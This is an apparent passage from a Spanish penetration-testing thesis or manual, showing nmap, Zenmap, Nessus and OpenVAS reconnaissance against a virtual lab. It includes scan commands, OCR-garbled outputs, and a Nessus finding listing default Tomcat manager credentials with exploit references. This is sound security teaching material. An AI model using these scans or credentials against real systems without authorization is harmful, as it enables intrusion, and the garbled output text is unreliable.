Aplicaciones—> Kali Linux-> Recopilacion de informacion-> Escaner de Redes—>
nmap.
O si se prefiere, otra forma més rapida de acceder a la herramienta es mediante el

comando:

root@kali:~# nmap
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Para realizar el mapeo de la red en busca de los hosts disponibles dentro de la red
mediante el envio de pings se utiliza la opcién -sn (Ping Scan) la cual deshabilita el
escaneo de puertos. Por ejemplo para realizar un barrido ping en las 256 direcciones
IP de la red del laboratorio virtual y detectar todos los hosts disponibles se usa el

siguiente comando:

root@kali:~# nmap —sn 192.168.56.0-255

4.3.2.2 Escaneo de puertos

En su definicibn mas simple, el escaneo de puertos puede ser definido como el
método usado para determinar el estado de puertos TCP (7ransmission Control/
Protocol) y UDP (User Datagram Protocol) en las maquinas objetivo. Un puerto
abierto puede significar que hay un servicio de red aceptando conexiones entrantes
en ese puerto y que el servicio es accesible, mientras que un puerto cerrado significa
que no hay un servicio de red aceptando conexiones entrantes en ese puerto [8].
Hay 65,535 puertos, tanto para TCP como para UDP en cada sistema. Algunos
puertos son conocidos por estar asociados con servicios populares, por ejemplo, los
puertos TCP 20 y 21 son los puertos habituales para el servicio de protocolo de
transferencia de archivos FTP. En su configuracion por defecto, Nmap solamente
escanea los 1,000 puertos mas populares para cada protocolo (TCP y UDP) [22].
Nmap contiene varios tipos de escaneo, pero por defecto Nmap solamente necesita
una opcién para escanear los 1,000 puertos TCP mas populares en la maquina
remota, esa opcion es la direccién IP del objetivo. Por ejemplo, si se desea saber qué
servicios estd ofreciendo el activo con direccion IP 192.168.56.102 el comando a

introducir es el siguiente:

root@kali:~# nmap 192.168.56.102




72

Nmap scan report for 192.168.56.102
Host is up (0.072s latency).
Mot shown: 977 closed ports
PORT STATE SERVICE
21/tcp open ftp

22/tcp open ssh

23/tcp open telnet

25/tcp open smip

53/tcp open domain
80/tcp open http

111/tcp open rpcbind
139/tcp open netbios-ssn
445/tcp open microsoft-ds
512/tcp open exec

513/tcp open login
514/tcp open shell
1099/tcp open rmiregistry
1524/tcp open ingreslock
2049/tcp open nfs

2121/tcp open ccproxy-ftp
3306/tcp open mysqgl
5432/tcp open postgresqgl
5900/tcp open wvnc

B0/ tcp open X1l

6667/tcp open irc

8009/tcp open ajpl3
B81BO/tcp open unknown

MAC Address: (08:00:27:40:B0:5D (Cadmus Computer Systems)

INmap_done: 1 IP address (1 host up) scanned in 0.48 seconds.

Figura 36. Escaneo de puertos con Nmap

En la figura 36 se puede observar que Nmap descubrid 23 puertos TCP abiertos y los
servicios que se ejecutan en el activo escaneado. Por ejemplo se sabe que en el

puerto 21 se ejecuta el servicio ftp.

4.3.2.2.1 Deteccion de la version de los servicios o0 enumeracion de servicios

La enumeracion de servicios es un método que se utiliza para encontrar la version del
servicio que esta disponible en un puerto en particular en el sistema objetivo. La
informacion de la versién es importante porque con esta informacion, el penetration
tester puede buscar vulnerabilidades de seguridad existentes para esa version de
software.

Nmap puede realizar la deteccién de la version de los servicios al realizar el escaneo
de puertos mediante la opcién -sV. Por ejemplo, para encontrar la version de los
servicios ofrecidos en los puertos disponibles del activo con direccion IP

192.168.56.102 se ejecuta el siguiente comando:
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root@kali:~# nmap -sV 192.168.56.102

Los resultados obtenidos se muestran en la figura 37.

Nmap scan report for 192.168.56.102
Host is up (0.0025s latency).

Not shown: 977 closed ports

PORT STATE SERVICE VERSION

21/tcp open ftp vsftpd 2.3.4

22/tcp open ssh OpenSSH 4.7pl Debian 8ubuntul (protocol 2.0)
23/tcp open telnet Lirnux telnetd

25/tcp open  smtp Postfix smtpd

53/tcp open domain ISC BIND 9.4.2

BO/tcp open http Apache httpd 2.2.8 (({Ubuntu) DAV/2)

111/tcp open rpcbind 2 (RPC #100000)

139/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
512/tcp open exec netkit-rsh rexecd

513/tcp open Tlogin?

514/tcp open shell?

1099/tcp open rmiregistry GNU Classpath grmiregistry

1524/tcp open shell Metasploitable root shell

2049/tcp open nfs 2-4 (RPC #100003)

2121/tcp open ftp ProFTPD 1.3.1

3306/tcp open mysql MySQL 5.0.51a-3ubuntus

5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open vnc VNC (protocol 3.3)

E000/tcp open X1l (access denied)

6667/tcp open irc Unreal ircd

BOB9/tcp open ajpl3 Apache Jserv (Protocol wvl.3)
B1BO/tcp open http Apache Tomcat/Coyote JSP engine 1.1

1 service unrecognized despite returning data. If you know the service/version,
please submit the following fingerprint at http://www.insecure.org/cgi-bin/servi

jcefp-submit.cgi : d

Figura 37. Deteccion de la version de los servicios con Nmap

De la informacion obtenida se puede saber por ejemplo que en el puerto 21 se

ejecuta el servicio ftp utilizando el software vsftpd version 2.3.4.

4.3.2.2.2 Deteccion del sistema operativo
Nmap también permite la deteccion del sistema operativo usado en la maquina

objetivo mediante la opcién -O.

root@kali:~# nmap -0 192.168.56.103
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root@kali:~# nmap -0 192.168.56.103

Starting MNmap 6.47 ( http://nmap.org ) at 2015-05-27 19:33 CDT
mass_dns: warning: Unable to determine any DNS servers. Reverse DN
S is disabled. Try using --system-dns or specify wvalid servers wit
h --dns-servers

Nmap scan report for 192.168.56.103

Host is up (0.00074s latency) .

Mot shown: 997 closed ports

IPORT STATE SERVICE

135/tcp open msrpc

139/tcp open netbios-ssn

445/tcp open microsoft-ds

MAC Address: 08:00:27:AA:41:B7 (Cadmus Computer Systems)

Device type: general purpose

Running: Microsoft Windows XP|2003

0S CPE: cpe:/o:microsoft:windows_xp cpe:/o:microsoft:windows_serve
r 20083

[0S details: Microsoft Windows XP SP2 or SP3, or Windows Server 200
13

Network Distance: 1 hop
I0S detection performed. Please report any incorrect results at htt

p://nmap.org/submit/ .
|Nmap done: 1 IP address (1 host up) scanned in 3.22 seconds

Figura 38. Deteccion del sistema operativo con Nmap

En la figura 38 se puede observar la informacion obtenida mediante el escaneo de
puertos y también la deteccidn del sistema operativo utilizado en la maquina objetivo,
en este caso Nmap detectd que el sistema remoto es un sistema operativo Microsoft
Windows version XP SP2 o SP3, o Windows Server 2003. Esta informacion puede

usarse para investigar si existen vulnerabilidades vigentes en ese sistema operativo.

4.3.2.2.3 Escaneo de puertos UDP con deteccién de servicios y version

Para realizar escaneos de puertos UDP en Nmap es necesario indicar la opcién -sU.
Para ahorrar un poco de tiempo evitando realizar otro escaneo para saber la version
de los servicios que se ejecutan en esos puertos mediante la opcion -sV, se puede
utilizar la opcion -sUV, pero también debido a que este tipo de escaneo es mas
tardado que un escaneo de puertos TCP, es recomendable indicar solamente los

puertos de interés mediante el comando -p, como se indica a continuacion:

root@kali:~# nmap -sUV direccién_IP -p puertol,puerto2
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Al aplicar el comando anterior para escanear el activo con direcciéon IP
192.168.56.103 solamente sobre los puertos UDP 53(DNS) y 161(SNMP) se puede
observar en el andlisis realizado por Nmap que el estado del puerto 53 se encuentra
cerrado, mientras que el puerto 161 se encuentra abierto y que en este mismo se

ejecuta el servicio SNMP con la ayuda de la versibn SNMPv1 (figura 39).
}oot@kali: # nmap -sUV 192.168.56.103 -p 53,161

Starting Nmap 6.47 ( http://nmap.org ) at 2015-05-30 20:47 CDT

mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is dis
abled. Try using --system-dns or specify valid servers with --dns-servers
Mmap scan report for 192.168.56.103

Host is up (0.00077s latency) .

PORT STATE SERVICE VERSICN

53/udp closed domain

161/udp open snmp SNMPv1 server (public)

MAC Address: (08:00:27:AA:41:B7 (Cadmus Computer Systems)

Service Info: Host: XPVIRTUAL

Service detection performed. Please report any incorrect results at http:/
/nmap .org/submit/ .
Nmap domg: 1 EP address (1 host up) scanned in 1.76 seconds

Figura 39. Deteccion de puertos y servicios UDP con Nmap.

4.3.2.2.4 Zenmap

Zenmap es la interfaz grafica de Nmap. Es una aplicacion de cédigo abierto la cual
facilita el uso de Nmap a usuarios inexpertos y a la vez proporciona caracteristicas
avanzadas a usuarios mas experimentados [21]. Las ventajas de Zenmap en
comparacion con Nmap son las siguientes:

e Zenmap es interactivo e intuitivo; organiza los resultados del analisis en una
forma conveniente. Incluso puede dibujar un mapa topoldgico de la red
descubierta.

e Zenmap puede hacer una comparacion entre dos exploraciones.

e Zenmap mantiene un registro de los resultados del analisis.

e Zenmap automatiza la configuracion de parametros del escaneo a realizar
mediante el uso de perfiles preconfigurados.

e Zenmap siempre muestra el comando que se ejecuta, por lo que el probador

de intrusion puede verificar ese comando.

Para iniciar Zenmap, se debe navegar por:
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Kali Linux-> Recopilacién de informacién—-> Escéaner de redes> Zenmap

O bien usar la consola para ejecutar el comando:

root@kali:~#zenmap

La ventana principal de Zenmap ofrece 10 perfiles diferentes a elegir. Para elegir un
perfil especifico se debe seleccionar la opcion Profile para acceder a las opciones de
configuracién, como se muestra en la captura de pantalla mostrada en la figura 40.

Si los perfiles proporcionados no son adecuados para las necesidades, se puede crear
un perfil propio mediante la creacién de un nuevo perfil o editar los existentes. Estas

tareas se pueden encontrar en el menu Profile.

I Zenmap [ _ | o “
Scan Tools Profile Help

Target: ‘ ~ | Profile: |Intense scan v‘ E] e
Command: |nmap T4 -A -v Intense scan

e ) | Intense scan plus UDP

Hosts | Services Nmap Output | Ports / Hosts | Topology | Host Details | Scans
—— Intense scan, all TCP ports

05 [Host v Intensa scan, no ping

Ping scan

Quick scan

Quick scan plus

Quick traceroute

Regular scan

Slow comprehensive scan

Figura 40. Perfiles disponibles en Zenmap.

Para demostrar el funcionamiento de Zenmap, se escaned la red del laboratorio
virtual (192.168.56.1-254) mediante el perfil de analisis por defecto /ntense scan

como se muestra en la figura 41.



Scan Tools Profile Help

Zenmap | - | o 1‘

Target: |192.16&56.1*254

| v ] Profile: [Intense scan

[+ G (o

Command: [nmap -T4 -A -v192.168.56.1-254

Haosts Services

Nmap Output “Pﬂrts / Hnst5|| Topology ‘ Host Details ‘ Scans |

os Host ~ Port Protocol State Service Version =
B 192.168.56.1 & 21 tcp open ftp vsftpd 2.3.4
# 192.168.56.100 o 22 tcp open ssh OpenSSH 4.7p1 Debian 8ubuntul (protocel 2.0)
B 192.168.56.101 & 23 tcp open telnet Linux telnetd
"4y 192.168.56.102 | & 25 tp open smtp Postfix smtpd
<1 192.168.56.103 « 53 tcp open domain ISCBIND 9.4.2
80 tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)
& 111 tep open rpebind 2 (RPC #100000)
< 139 tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
o 445 tep open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
o 512 tep open exec netkit-rsh rexecd
o 513 tcp open Login T
& 514 tcp open shell
/ 1099 tcp open java-rmi Java RMI Registry
o 1524 tep open shell Metasploitable roet shell
f 2049 tep open nfs 2-4 (RPC#100003)
Filter Hosts o 2121 tcp open  ftp ProFTPD 1.3.1 [~
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Figura 41. Escaneo de la red del laboratorio virtual usando Zenmap.

El escaneo muestra informacion completa sobre cada uno los activos disponibles en la

red, el sistema operativo de los equipos, los puertos, su estado, el protocolo, servicio,

la versibn de cada servicio y también se puede observar la topologia de la red

seleccionando la opcion 7opology como se muestra en la figura 42.

idas

Scan Tools Profile Help

Zenmap _ |

I

| 0152168501

-7 192.168.56.10

P Layout

~ View
192.168.56.103

address
hostname
icon

Navigation

02
oraihast - @192.168.56.101

152188561
192168 56.100

Target: I192.168‘56‘1-254 ‘VI Profile: I\ntenss scan oL lS:an‘
Command: [nmap -T4 -A -v192.168.56.1-254

Hosts “ Services | | Nmap Output Ports / Hosts | Topology | Host Details Scans

€ Host > | Hosts Viewer ‘l theye“ Controls| |save Graphic |
® 192168.56.1

P Action
# 1921685610
® 192168.56.10 P Interpolation

Figura 42. Topologia obtenida a partir del escaneo de la red del laboratorio virtual usando

Zenmap
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4.3.2.3 Escaneo o0 mapeo de vulnerabilidades

El escaneo de vulnerabilidades es el proceso de utilizar herramientas automatizadas
para descubrir e identificar vulnerabilidades o puntos débiles en una red, sistema,
aplicacion o sistema operativo que pueda ser explotable. La identificacion de
vulnerabilidades permite conocer cudles son las vulnerabilidades para las cuales el
objetivo es susceptible y permite realizar un conjunto de ataques mas preciso. Esta
tarea es a veces conocida también como evaluacion o analisis de vulnerabilidades.
Aunque es posible identificar manualmente potenciales vulnerabilidades investigando
exploits asociados con las versiones de las aplicaciones identificadas en la etapa de
escaneo, este proceso puede tomar una gran cantidad de tiempo. Una mejor
alternativa para realizar esta tarea es mediante el uso de scripts automatizados y
programas que pueden identificar vulnerabilidades.

El andlisis de vulnerabilidades pueden generar una gran cantidad de trafico y, en
algunos casos, puede incluso provocar condiciones de negacidon de servicio en
muchos dispositivos de red, asi que se debe tener precaucion antes de hacer uso de
los escéneres de vulnerabilidades en una prueba de intrusion.

Existen varias herramientas que pueden servir para realizar el escaneo de

vulnerabilidades, a continuacién se mencionan dos de las mas populares.

4.3.2.3.1 Escaneo de vulnerabilidades usando la herramienta Nessus

Nessus es un analizador de seguridad de redes potente y facil de usar, con una
amplia base de datos de p/lugins que se actualiza a diario. Actualmente se encuentra
entre los productos mas importantes de este tipo en todo el sector de la seguridad, y
cuenta con el respaldo de organizaciones profesionales de seguridad de la
informacion, tales como SANS /Institute y el departamento de defensa de los Estados
Unidos. Nessus permite realizar auditorias de forma remota en una red en particular y
determinar si ha sido comprometida o usada de alguna forma inadecuada. Nessus
también proporciona la capacidad de auditar de forma local un equipo especifico para
analizar vulnerabilidades, especificaciones de compatibilidad, violaciones de directivas

de contenido y otros temas [23].
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Debido a que Nessus es un producto comercial con licencia, este no viene instalado
por defecto en Kali Linux, motivo por el cual en el capitulo 3 se explico como instalar
el programa en su version Aome para uso privado y sin fines comerciales, el cual

permite escanear una red personal.

Para iniciar Nessus se debe ingresar en una terminal el siguiente comando:

root@kali:~# /etc/init.d/nessusd start

Una vez que se ha iniciado el servidor, para iniciar la interfaz de usuario se debe

introducir en la barra de navegacion del explorador web la siguiente URL.

https://localhost:8834

Luego de ingresar el nombre de usuario y contrasefa, creados durante el proceso de
configuracién, se presenta la interfaz grafica para utilizar el escaner de
vulnerabilidades la cual contiene menus para consultar informes, llevar a cabo analisis
y administrar directivas o politicas. Los usuarios administrativos también veran
opciones de administracion de usuarios y de configuracion del analizador Nessus.

Para comenzar con el analisis se debe crear un nuevo escaneo seleccionando la
opcidn Scans y después la opcion + NMew Scan. Enseguida el sistema despliega la
biblioteca de escaneos la cual consiste en plantillas con distintos tipos de escaneos

segun el tipo de tarea que se desee realizar (figura 43).
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Scanner Templates
[ ——————————————ameaes -
: |
§
i |
O ' ’
=] = i |
i 3
Advanced Scan Audit Cloud Infrastructure Bash Shellshock Detection [ Basic Network Scan | Credentialed Patch Audit
onfigurs a scan withe ul Uz ing any Audlit the configurations of thirckparty Remote and local checks for i Afull system scan suitable for any : Authenticats to hosts andenumerate
recommendaiio clold services CVE-2014-6271 and i host. i missing upcates

— i

o]

- |

—

GHOST (glibe) Detection Host Dlscovery Internal PCI Network Scan Mobile Device Scan Offline cunﬂg Audit
Localchecks for CVE-2015-0235 Asimpk s over ve hosts Perform an internal PCI DSS (11.2.1) #ssess moble davices via Microsoft Auclit u calgusion fies of
vulnerability sca Exchange or an WD twork
&
= A"\';:s.,v L
- | Q
PCI Quarlerly Exlernal Scan Pollcy Compllance Audltlng SCAP Cumpllance Audll Web Application Tests Windows Malware Scan
\ a !: 1 Winclow

parerty el |n al

Auclit Hw\ \u\ |||\uH|I|InIu|In I
eguirec H i

vulnarabifties

] [root@kali; ~] ¥ Nessus Home / Scans ..

Figura 43. Plantillas para el andlisis de vulnerabilidades

En este caso se opt6 por realizar un andlisis basico de redes mediante la opcién Basic
Network Scan el cual permite analizar hosts internos o externos.

Enseguida el asistente despliega un conjunto de pestafias con las opciones y campos
de configuracion que deben ser elegidas por el usuario. Las pestafias a configurar
son: basic, discovery, assesment, report, advanced y credentials, como se aprecia en

la figura 44.

'._\(" ) 2 a https://localhost: 8834 /nessust. html##/scans/new/731a8e52-3eat-a291-ec0a-d2ff0619c19d7bd7 &

MostVisitedV “Offensive Security "\\Kali Linux ~\N,Kali Docs "\\KaliTools ﬂExpLoit—DB

New Scan / Basic Network Scan

Scan Library > Seftings Credeniak

BASK v Settings / Basic/ General

General

Scheduls Name

Email Moifications
Description

DIECOVERY

ASSESSMENT

REPORT Folder My Scans -

AOVANEER Scanner Local Scanner -
Tameis

Figura 44. Ventana de configuracién del proceso de escaneo con Nessus
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En la pestafia BAS/C, en el campo Name se debe introducir el nombre que se le
quiere dar al andlisis, en este caso se le nombr6 andlisis laboratorio virtual ; el campo
Description se puede dejar vacio ya que para este caso no se desea realizar ninguna
descripcion, el campo Folder sirve para guardar en algun directorio de preferencia los
analisis realizados por lo que se puede dejar la opcion por defecto, el campo Scanner
presenta Unicamente la opcion /ocal Scanner, en el campo Targets se deben
introducir la o las direcciones IP de los objetivos a analizar, en este caso se introdujo
la red del laboratorio 192.168.56.0/24. Los demas campos de las siguientes pestafas
se dejan por defecto ya que en este caso se desea ejecutar un analisis basico de red
el cual es rapido debido a que escanea 30 hosts simultdneamente analizando
Gnicamente los puertos mas comunes y no se desean enviar notificaciones de los
escaneos via email. Después de haber introducido la informacion del analisis, se debe
seleccionar la opcién Save (Guardar). Después de realizar esta accion, el analisis
comenzara de inmediato.

Una vez concluido el andlisis, para explorar los resultados obtenidos en el escaneo, se
debe seleccionar el informe analisis laboratorio virtual que se configuré previamente.
Esto permite conocer los datos obtenidos sobre los diferentes puertos escaneados,
asi como informacién sobre vulnerabilidades detectadas. La vista desplegada y
predeterminada por Nessus es por resumen de hosts, la cual muestra la lista de hosts
de la red con un resumen de las vulnerabilidades detectadas en cada uno codificadas
en una escala de colores de acuerdo con su nivel de criticidad. También muestra

detalles del andlisis realizado. Una vista de esta ventana se muestra en la figura 45.
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1
P : 1
analisis laboratori. .. e | pme—— E—— e o
CURFENTFESLLTS: LVE 11 AT 113171
scars > Hosts B vumerabites Femedialicns Motes Hstory
Hast vulnerabillies = Sean Datalls
o2t O T PR —
Sfals: Completed
192188 55102 m Poilcy: Easiz Metacik Scan
Scanner: Local Scanner
o219 5101 —— rocer. 1y sane
start: Ane 11 at 1108 Pl
192158 55100 m End: Ane 11 at11:17 P
Elapesd: aminutes
192163 5610 E Targels: 192163 55024
VYulnzm@mbllities
@ Cileal
@& Hgh
Ksdum
i Low
@ o
J

Figura 45. Informe por resumen de hosts de Nessus

Desde la vista de resumen de Hosts, cada host seleccionado presenta un resumen
sobre los resultados de las vulnerabilidades encontradas, asi como detalles del host
gue dan informacién relevante acerca de sus direcciones IP y MAC, sistema operativo

y la duracion del escaneo del host analizado, como se muestra en la figura 46.

1
o ; —
anallSIS |ab0rat0|’|. . | Configure | Audit Trall | | Launch - | | Expot -+ |
CURFENTRESLLTS: LFE 11 AT 11:17 1 |
Hests : 192168561 » vunembites [ |
[ severy a Plugin Mame Plugin Farmity count Hest Detalls
m} Apacie Tomaat panag...  Web Servers 1 IP: 192168 551
MAC: OB 00.27 207 ECS
O Fogue Shell Eackioor ... Eackdoors 1 os: it L
(gu=y)
O Samba DR MS-RPC ... Msc. 1 start: -ne 11at1108 P
End: June 11 ati146FK
D - Elapaed: T minutas
CRITICAL LI'IE.IFW'teﬂ Lﬂ|!cﬁr... General 1
KE: Domnicad
[} VNG Server'password .. Galn 8 shel remately 1
Vulnemblities
O vellpd Smiley Face Back...  FTP 1 1
’ @ Ciical
[m} @ Moot wWindows SKB...  Wndoes 1 y ® Hg
Medum
& Low
O [EETT]  MysoLinpassworded .. Dambases 1 e o
[ [EET]  riogin serse Detecion Servos detaciion 1
m] @ Unzupported Web Serv...  Web Servers 1
A

Figura 46. Resumen del escaneo por host a través de Nessus



Cuando se selecciona una vulnerabilidad por
Vuinerabilities, se muestra informacién de la vulnerabilidad que comprende una
descripcidén, solucién, referencias, asi como informacién del puerto y protocolo
utilizados por el servicio o aplicacion en donde se detectd la vulnerabilidad. A la
derecha de la pantalla se muestra el campo Plugin Details el cual contiene mas

informacion sobre el p/uginy la vulnerabilidad asociada, una vista de esta ventana se

muestra en la figura 47.

Cabe mencionar que la comprobacion de una vulnerabilidad especifica tiene en el

analizador Nessus la denominacion plugin [23].

analisis laboratorio virtual

Hosts > 192.168.56.1 > Vulnerabilities [fiH]

Apache Tomcat Manager Common Administrative Credentials

Description

Messus was able to gain access to the Manager web application for the remeote Tomeat server using a known
set of credentials. A remcte attacker can exploit this issue to install a malicious application on the affected
server and run arbitrary code with Tomeat's privileges (usually SYSTEM on Windows, or the unprivileged

‘tomcat’ account on Unix).

Worms are known to propagate this way.

Solution

Edit the associated ‘tomcat-users.xml' file and change or remove the affected set of credentials

See Also

http://markmail. org/thread wiudnffschvkbeéxp
httpi//svn.apache. org/viewve Pview=revision&revision=834047

http:/fwww. intevydis.com/blog/ Pp=87

http:/fwww. zerodayinitiative.com/advisories/Z01-10-2147

http:/farchives. nechapsis.com/archives/fulldisclosure/2010-10/0260. html

Output

It was possible to log inte
follawing info :

URL : hibtp://192.168
Usernams : tomcat
Password : tomcat
URL : hbtp://192.168.
Ussrnams : tomcat
FPassword : tomcat
URL : http://192.168.
Username : tomcat
Fassword : tomcat

Port ¥ Hosts

E180/ tcp / www 192.168.56.1

Figura 47. Resumen

the Tomcat Manager wsh app using the

.56.1:8180/manag=r/html

56.1:8180/host-managsr/html

56.1:8180/manager/status

medio de

Configure . Audit Trail

Launch + Expot -
Plugin Details
Severity: Critical
1D 34970
Version: $Revision: 1.31 §
Type: remote
Family: Web Servers
FPublished: 200811/26
Medified: 201504720

Risk Information

Risk Factor; Critical

CVSS Base Scorer 10.0

CVSS Vector, CVSS2RAVINFACL/ALN/CC
fLCIAC

CWSS Temporal Vector
CVSS28E.F/RL.OF/RC.C

CVSS Temporal Score: 8.3

Vulnerability Information
CPE: cpe/a:apache:tomcat
Exploit Available: true

Exploit Ease; Exploits are available
Patch Pub Date: 20098/11/09

Exploitable With

Metasploit (Apache Tomcat Manager
Authenticated Upload Code Execution)

Core Impact
Reterence Information

CVE: CVE-2009-3099, CVE-2009-3548,
CVE-2010-0557, CVE-2010-4094

QEVDB: 57298, 60176, 60317, 62118, 60002
BID: 36253, 36954, 37086, 38084, 44172
EDB-ID: 18619

CWE: 255

de vulnerabilidades encontradas en la red virtual usando Nessus

la opcion Hosts o
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Cuando se selecciona la opcion Vuinerabilities en la parte superior, el sistema ordena
los resultados por vulnerabilidades en lugar de hosts e incluye la cantidad de hosts
afectados a la derecha.

Ademas de las opciones Hosts 'y Vuinerabilities, Nessus ofrece otras dos opciones.
Una de ellas es la opcidon llamada Remediations, que brinda informacion resumida
para solucionar los problemas importantes que se hayan detectado, lo cual se

muestra en la figura 48.

r

analisis laborator... Configue | Audit Tl Launch = Expor ~
CURRENT RESULTS: JUME 11 AT 11:17 P
Scans » Hosiz Vulhembilies Remediations n Motes History
Taking the following actions across 1 host would resolve 143 of the vulnerabilities on the network: Scan Details
Action o 1ake Vulns Hoslz Mame: andlisiz bbamions vidual
Stalus: Completed
Apache Tomecal Manager Comman Administmtive Credenfials: Edil 1he Paliy: Basiz Metwark Scan
associated Yomeal-usssxml Fike and change or mmowve 1he affectzd =21 of 4 1 Scanner. Local Scanner
credentiak. Foder My Scans
Stan: June 11 af 11:08 PM
55Lv3 Padding Oack On Downgraded Legacy Encryplion Vulnembiliy End: June 11 a1 11:17 PM
(POODLE): Dismblk S55Lv3. Services thal musl suppor S5Lv3 should enable 1 1 .,
Elpsad: 9 minules

the TLS Falback 5C 5V mechanism unlil 55Lv3 can be disabled.
Tamgeis: 192.168.56.0/24

Samba MDR MS5-RPC Requesl Heap-Based Remole Buffer Cwverflow:
Upgmade 1o Samba version 3.0.25 orlafer.

Apache HTTP Serer MipOnly Cookie Information Discksue: Upgmade 1o
Apache version 2085/ 2.2.22 orlaler,

L

Figura 48. Acciones de remediacion recomendadas por Nessus para las vulnerabilidades

detectadas

4.3.2.3.2 Escaneo de vulnerabilidades con OpenVAS

El Sistema de Evaluacion de Vulnerabilidad abierto (OpenVAS - Open Vuinerability
Assesment System) es una plataforma de servicios y herramientas que ofrecen una
solucién completa y efectiva para el analisis y tratamiento de vulnerabilidades. El
escaner de seguridad es acompafiado por una fuente de actualizaciones diaria de
pruebas de vulnerabilidades de red (NMetwork Vulnerability Tests - NVTs), mas de
35,000 en total (a partir de abril de 2014). Esta plataforma ha sido desarrollada sobre

las bases de la arquitectura cliente — servidor, en donde el cliente mediante el uso de
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una interfaz web de usuario, solicita al servidor la ejecucion de un conjunto de
pruebas de vulnerabilidades contra el objetivo [24]. Esta herramienta es software
libre y viene integrado en Kali Linux, pero antes de ser usado por primera vez es

necesario configurarla correctamente, como se describié en el capitulo anterior.

Primero, para poder utilizar OpenVAS, se deben iniciar los servicios que lo componen

(figura 49) mediante la siguiente opcion:

Aplicaciones—>Kali Linux—->Analisis de Vulnerabilidades> OpenVAS—> openvas
start

root@kali: ~

Archivo Editar Ver Buscar Terminal Avyuda

Starting OpenVas Services

Starting Greenbone Security Assistant: gsad.
Starting OpenVAS Scanner: openvassd.
SEtarting OpenVAS Manager: ocpenvasmd.

Figura 49. Habilitacion de los servicios de OpenVAS

Una vez habilitados los servicios, para usar la interfaz web de usuario de OpenVAS se
debe abrir el navegador web y teclear en el mismo la direccion
https://127.0.0.1:9392.

Luego de ingresar el nombre de usuario y contraseia, creados durante el proceso de
configuracién, se presenta la interfaz grafica para utilizar el escaner de
vulnerabilidades la cual contiene menus para administrar los reportes y resultados de
los analisis. Los usuarios administrativos también pueden ver opciones de
administracion de usuarios, grupos y de configuracion del analizador OpenVAS.

La interfaz web ofrece un asistente el cual ayuda a crear, configurar y gestionar de
forma facil y rapida los analisis de seguridad a ejecutar [25].

Para comenzar inmediatamente a realizar un escaneo rapido, basta solamente
introducir la direccion IP (en este caso la direccion IP del servidor web Metasploitable

2) del objetivo a analizar, como se muestra en la figura 50.


https://127.0.0.1:9392/
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Logged in asAdmin admin | Logout

ﬁj Greenbone

de’ Security Assistant Wed Jun 17 00:17:54 2015 UTC

Scan Management Asset Management Secinfo Management Configuration H Administration

Help

Tasks (total: 0) |

i lmae [ JollcJea

apply_ovemides=1 rows=10 first=1 sort=narme
Status Severity Trend Actions
\‘-‘lFPlr o pagecontents | |E E1E3

(Applied fiker. apply_ovemides=1 rows=10 first=1 sort=names) ftotal: 00

Welcome dear new user!

To explore this powerful application and
to have a quick start for deing things the
first time, | am here to assist you with
some hints and short-cuts.

Quick start: Immediately scan an IP address
IP address or hostname:

192.168.56.1 | start scan |

| will appear automatically in areas For this short-cut | will do the following for you:

where vou have created no or only a . .
faw objects, And disappear when you 1. Create a new Target with defaulk Port List

have more than 3 objects. You can call i’lr].r\' 2. Create a new Task using this target with default Scan
Coenfiguration

3. Start this scan task right away

4. Switch the view to reload every 30 seconds so you can lean
back and watch the scan progress

me with this icon a any time later on.

If you want help creating new scan tasks
but alse mere options, you can select

Figura 50. Interfaz gréfica e inicio rapido de OpenVAS

Después de seleccionar la opcion Start scan el asistente automaticamente realiza una
serie de configuraciones y comienza con el escaneo.

Una vez que el analisis ha comenzado a ejecutarse, se puede observar el progreso
del mismo. El asistente automaticamente actualiza el avance cada 30 segundos como

se puede observar en la figura 51.

Immediate scan of IP 192.168.56.1 s sinid 0(1)

. -
Status Severity Trend |Actions
ooo@Eoo)|

[ Vapply to page contents| ¢ | B I‘_IUJ

Figura 51. Visualizacion del avance del andlisis usando OpenVAS

Una vez que se ha completado el escaneo, se puede observar el reporte de los
resultados obtenidos con datos de las vulnerabilidades detectadas, su nivel de
severidad, la calidad de detecciébn o QoD (Quality of Detection) que consiste en un
valor entre 0% y 100% que describe la fiabilidad de la deteccion de la vulnerabilidad,

también se muestra el puerto/protocolo en donde se localiza la vulnerabilidad y se



87

muestra la columna solution Type con el fin de mostrar el tipo de solucién disponible

para cada vulnerabilidad en particular como se muestra en la figura 52.

~ Report: Results [ 1 - 100 of 117 (total: 224) @ ﬂ.

Filter: [sort reverse=severity result_hosts_only=1 min_cvss_base= min_qod=70 l. 2 5 :]
nm
ProFTPD Multiple Remaote Vulnerabilities 75% 192.168.56.1 Zljtcp el [l
ProFTPD Multiple Remaote Vulnerabilities 75% 192.168.56.1 2121/tcp =l [l
X Server BEZOGET 75% 192.168.56.1 6000ftcp (=1
distcc Remote Code Execution Vulnerability 75% 192.168.56.1 3632/tcp el (sl
SSH Brute Force Logins with default Credentials 95% 192.168.56.1 22jtcp (SIS
MySQL weak password 95% 192.168.56.1 3306/tcp B3 [l
PostgresQL weak password 75% 192168561 5432ftcp 3] [l
PostgreSQL Multiple Security Vulnerabilities 75% 192.168.56.1 5432ftcp E3l [l
vsftpd Compromised Source Packages Backdoor Wulnerability 75% 192.168.56.1 Z2ljtcp &=l [l
ProFTPD Server SQL Injection Wulnerability 75% 192.168.56.1 2ljtcp & [l

Figura 52. Reporte de vulnerabilidades detectadas en metasploitable2 usando OpenVAS

Para analizar con mas detalle alguna de las vulnerabilidades encontradas (figura 53),
se debe seleccionar la vulnerabilidad para que el sistema despliegue informacion
especifica como el resumen, impacto, solucion, el software y sistema operativo al que

afecta la vulnerabilidad.

Result Details@ B

Task: Immediate scan of IP 192.168.56.1 ID: 352a2d41-436e-44d6-b014-7292872005fb
T 0 S (= Vi T
ProFTPD Multiple Remote Vulnerabilities 75% 192.168.56.1 21ftep [SIES]
Summary

The host is running ProFTPD and is prone to multiple vulnerabilities.

Vulnerability Detection Result
“ulnerability was detected according to the Vulnerability Detection Method.

Impact
Successful exploitation may allow execution of arbitrary code or cause a denial-of-service. Impact Level: Application

Solution
Upgrade to ProFTPD version 1.2.3c¢ or later, For updates refer to http://www.proftpd.org/

Affected Software/0S
